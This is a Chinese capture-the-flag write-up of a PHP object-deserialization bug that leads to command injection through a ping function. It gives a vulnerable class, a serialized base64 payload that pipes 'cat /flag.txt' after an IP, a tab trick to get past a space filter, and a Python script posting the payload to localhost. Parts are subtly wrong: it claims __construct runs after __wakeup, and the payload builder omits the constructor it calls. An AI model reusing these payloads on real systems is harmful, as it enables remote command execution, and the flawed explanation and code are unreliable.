代碼來自第六屆防災科技學院網絡安全技能大賽,侵刪。
目標
獲取Linux服務器根目錄下的flag
代碼
/*home.php*/
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));
分析
該PHP文件只接收一個base64編碼的POST參數,將其解碼后會進行反序列化操作。
在執行__wakeup()方法之后,會觸發__construct()方法進行初始化,該方法沒有可以利用的地方。
當所有的操作執行完畢之后,需要釋放序列化的對象,觸發__destruct()魔術方法。該方法只允許執行類中的ping方法,並會將args的值作為ping方法host參數。
ping中存在可控參數$host,且調用了system函數,這里便可以作為一個利用點。可以構造一個特殊的payload:
ping -c 2 127.0.0.1|cat /flag.txt
#不唯一
利用
整理上面的思路可知,若想得到flag最終要構造出如下的args字符串:
127.0.0.1|cat /flag.txt
而waf等方法又過濾掉了空格,這里可以通過將空格換成Tab來繞過該限制。
同時還要注意method必須為ping。
這里得到了構造payload的最終PHP腳本:
class home{
private $method;
private $args;
}
$a = new home("ping",array('127.0.0.1|cat /flag.txt'));
$b = serialize($a);
echo base64_encode($b);
payload
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==
發送payload得到flag
import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}